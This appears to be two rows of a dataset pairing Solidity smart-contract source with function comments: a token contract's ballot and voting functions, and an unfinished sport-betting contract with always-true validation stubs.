_ballotId, uint32 _optionId, string _option) { /* Admin functions must be called by the contract creator. */ require(msg.sender == m_administrator); /* verify that the ballot exists */ require(_ballotId > 0 && _ballotId <= numBallots); /* cannot change a ballot once it is sealed */ if(isBallotSealed(_ballotId)) { revert(); } /* validate the ballot option */ require(_optionId > 0 && _optionId <= ballotDetails[_ballotId].numOptions); /* update the ballot option */ ballotOptions[_ballotId][_optionId] = _option; } /* Seal a ballot - after this the ballot is official and no changes can be made. */ function adminSealBallot(uint32 _ballotId) { /* Admin functions must be called by the contract creator. */ require(msg.sender == m_administrator); /* verify that the ballot exists */ require(_ballotId > 0 && _ballotId <= numBallots); /* cannot change a ballot once it is sealed */ if(isBallotSealed(_ballotId)) { revert(); } /* set the ballot seal flag */ ballotDetails[_ballotId].sealed = true; } /* Function to determine if a ballot is currently in progress, based on its * start and end dates, and that it has been sealed. */ function isBallotInProgress(uint32 _ballotId) private constant returns (bool) { return (isBallotSealed(_ballotId) && ballotDetails[_ballotId].start <= now && ballotDetails[_ballotId].end >= now); } /* Function to determine if a ballot has ended, based on its end date */ function hasBallotEnded(uint32 _ballotId) private constant returns (bool) { return (ballotDetails[_ballotId].end < now); } /* Function to determine if a ballot has been sealed, which means it has been * authorized by the administrator and can no longer be changed. */ function isBallotSealed(uint32 _ballotId) private returns (bool) { return ballotDetails[_ballotId].sealed; } /* ****************************** * VOTING data / functions * ******************************/ mapping (uint32 => mapping (address => uint256) ) public ballotVoters; mapping (uint32 => mapping (uint32 => uint256) ) public ballotVoteCount; /* function to allow a coin holder add to the vote count of an option in an * active ballot. The votes added equals the balance of the account. Once this is called successfully * the coins cannot be transferred out of the account until the end of the ballot. * * NB: The timing of the start and end of the voting period is determined by * the timestamp of the block in which the transaction is included. As given by * the current Ethereum standard this is *NOT* guaranteed to be accurate to any * given external time source. Therefore, votes should be placed well in advance * of the UTC end time of the Ballot. */ function vote(uint32 _ballotId, uint32 _selectedOptionId) { /* verify that the ballot exists */ require(_ballotId > 0 && _ballotId <= numBallots); /* Ballot must be in progress in order to vote */ require(isBallotInProgress(_ballotId)); /* Calculate the balance which which the coin holder has not yet voted, which is the difference between * the current balance for the senders address and the amount they already voted in this ballot. * If the difference is zero, this attempt to vote will fail. */ uint256 votableBalance = balanceOf(msg.sender) - ballotVoters[_ballotId][msg.sender]; require(votableBalance > 0); /* validate the ballot option */ require(_selectedOptionId > 0 && _selectedOptionId <= ballotDetails[_ballotId].numOptions); /* update the vote count and record the voter */ ballotVoteCount[_ballotId][_selectedOptionId] += votableBalance; ballotVoters[_ballotId][msg.sender] += votableBalance; } /* function to determine if an address has already voted in a given ballot */ function hasAddressVotedInBallot(uint32 _ballotId, address _voter) constant returns (bool hasVoted) { return ballotVoters[_ballotId][_voter] > 0; } /* function to determine if an account has voted in any current ballot */ function accountHasCurrentVote(address _voter) constant returns (bool) { for(uint32 id = 1; id <= numBallots; id++) { if (isBallotInProgress(id) && hasAddressVotedInBallot(id, _voter)) { return true; } } return false; } }
function to determine if an account has voted in any current ballot /
function accountHasCurrentVote(address _voter) constant returns (bool) { for(uint32 id = 1; id <= numBallots; id++) { if (isBallotInProgress(id) && hasAddressVotedInBallot(id, _voter)) { return true; } } return false; }
5,511,762
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./OracleInterface.sol"; /** * This Ethereum smart-contract takes bets placed on sport events. * It then invests all bets deposits for a given event (pot) in DeFi. * Then once the event outcome is confirmed, * it makes the accrued interests ready for the winners * to withdraw proportionnaly to their initial stake. * Players do not loose their stake. * * @notice Takes bets and handles payouts for sport events * @title a Smart-Contract in charge of handling bets on a sport event outcome where players do not loose their stake and winners earn the interests accrued on the stakes. * @author Tanteli, block74 */ contract Bet is Ownable, ReentrancyGuard { /** * @dev list of all bets per player, ie. a map composed (player address => bet id) pairs */ mapping(address => bytes32[]) private userToBets; /** * @dev for any given event, get a list of all bets that have been made for that event * map composed of (event id => array of bets) pairs */ mapping(bytes32 => Bet[]) private eventToBets; /** * @dev Address of the sport events Oracle */ address internal oracleAddress = address(0); /** * @dev Instance of the sport events Oracle (used to register sport events get their outcome). */ OracleInterface internal betOracle = OracleInterface(oracleAddress); /** * @dev minimum bet amount */ uint internal minimumBet = 0.1 ether; /** * @dev payload of a bet on a sport event */ struct Bet { address user; // who placed it bytes32 eventId; // id of the sport event as registered in the Oracle uint amount; // bet amount uint8 chosenWinner; // Index of the team that will win according to the player } /** * @dev Possible outcomes for a sport event */ enum BettableOutcome { Team1, Team2 } /** * @dev check that the passed in address is not 0. */ modifier notAddress0(address _address) { require(_address != address(0), "Address 0 is not allowed"); _; } /** * @dev Sent once the Sport Event Oracle is set */ event OracleAddressSet( address _address); /** * @dev Sent when once a bet is placed */ event BetPlaced( bytes32 _eventId, address _player, uint8 _chosenWinner, uint _amount ); /** * @notice sets the address of the sport event bet oracle contract to use * @dev setting a wrong address may result in false return value, or error * @param _oracleAddress the address of the sport event bet oracle */ function setOracleAddress(address _oracleAddress) external onlyOwner notAddress0(_oracleAddress) returns (bool) { oracleAddress = _oracleAddress; betOracle = OracleInterface(oracleAddress); emit OracleAddressSet(oracleAddress); return betOracle.testConnection(); } /** * @notice for testing purposes: make sure that the sport event oracle is callable */ function testOracleConnection() public view returns (bool) { return betOracle.testConnection(); } /** * @return the address of the oracle we use to get the sport events and their outcomes */ function getOracleAddress() external view returns (address) { return oracleAddress; } /** * @notice determines whether or not the user has already bet on the given sport event * @param _user address of a player * @param _eventId id of a event * @param _chosenWinner the index of the participant to bet on (to win) */ function _betIsValid(address _user, bytes32 _eventId, uint8 _chosenWinner) private pure returns (bool) { // if (userToBets[_user].length == 0) { // userToBets[_user] // } return true; } /** * @notice determines whether or not bets may still be accepted for the given match * @param _eventId id of an event */ function _eventOpenForBetting(bytes32 _eventId) private pure returns (bool) { return true; } /** * @notice gets a list ids of all currently bettable events * @return pendingEvents the list of pending sport events */ function getBettableEvents() public view returns (bytes32[] memory pendingEvents) { return betOracle.getPendingEvents(); } /** * @notice returns the full data of the specified event * @param _eventId the id of the desired event * @return id the id of the event * @return name the name of the event * @return participants a string with the name of the event's participants separated with a pipe symbol ('|') * @return participantCount the number of the event's participants * @return date when the event takes place * @return outcome an integer that represents the event outcome * @return winner the index of the winner */ function getEvent(bytes32 _eventId) public view returns ( bytes32 id, string memory name, string memory participants, uint8 participantCount, uint date, OracleInterface.EventOutcome outcome, int8 winner ) { return betOracle.getEvent(_eventId); } /** * @notice returns the full data of the most recent bettable sport event * @return id the id of the event * @return name the name of the event * @return participants the name of the event's participants separated with a pipe symbol ('|') * @return participantCount the number of the event's participants * @return date when the event takes place * @return outcome an integer that represents the event outcome * @return winner the index of the winner (0 = TeamA, 1 = TeamB) */ function getLatestEvent() public view returns ( bytes32 id, string memory name, string memory participants, uint participantCount, uint date, OracleInterface.EventOutcome outcome, int8 winner ) { return betOracle.getLatestEvent(true); } /** * @notice places a bet on the given event * @param _eventId id of the sport event on which to bet * @param _chosenWinner index of the supposed winner team */ function placeBet(bytes32 _eventId, uint8 _chosenWinner) public payable notAddress0(msg.sender) nonReentrant { // At least a minimum amout is required to bet require(msg.value >= minimumBet, "Bet amount must be >= minimum bet"); // // Make sure this is sport event exists (ie. already registered in the Oracle) require(betOracle.eventExists(_eventId), "Specified event not found"); // The chosen winner must fall within the defined number of participants for this event require(_betIsValid(msg.sender, _eventId, _chosenWinner), "Bet is not valid"); // Event must still be open for betting require(_eventOpenForBetting(_eventId), "Event not open for betting"); // transfer the player's money into the contract's account payable(address(this)).transfer(msg.value); // add the new bet Bet[] storage bets = eventToBets[_eventId]; bets.push( Bet(msg.sender, _eventId, msg.value, _chosenWinner)); // add the mapping bytes32[] storage userBets = userToBets[msg.sender]; userBets.push(_eventId); emit BetPlaced( _eventId, msg.sender, // player _chosenWinner, msg.value // bet amount ); } /** * @notice A fallback function that allows this smart-contract to accept ETH */ receive() external payable { require(msg.data.length == 0); } }
for testing purposes: make sure that the sport event oracle is callable/
function testOracleConnection() public view returns (bool) { return betOracle.testConnection(); }
5,471,373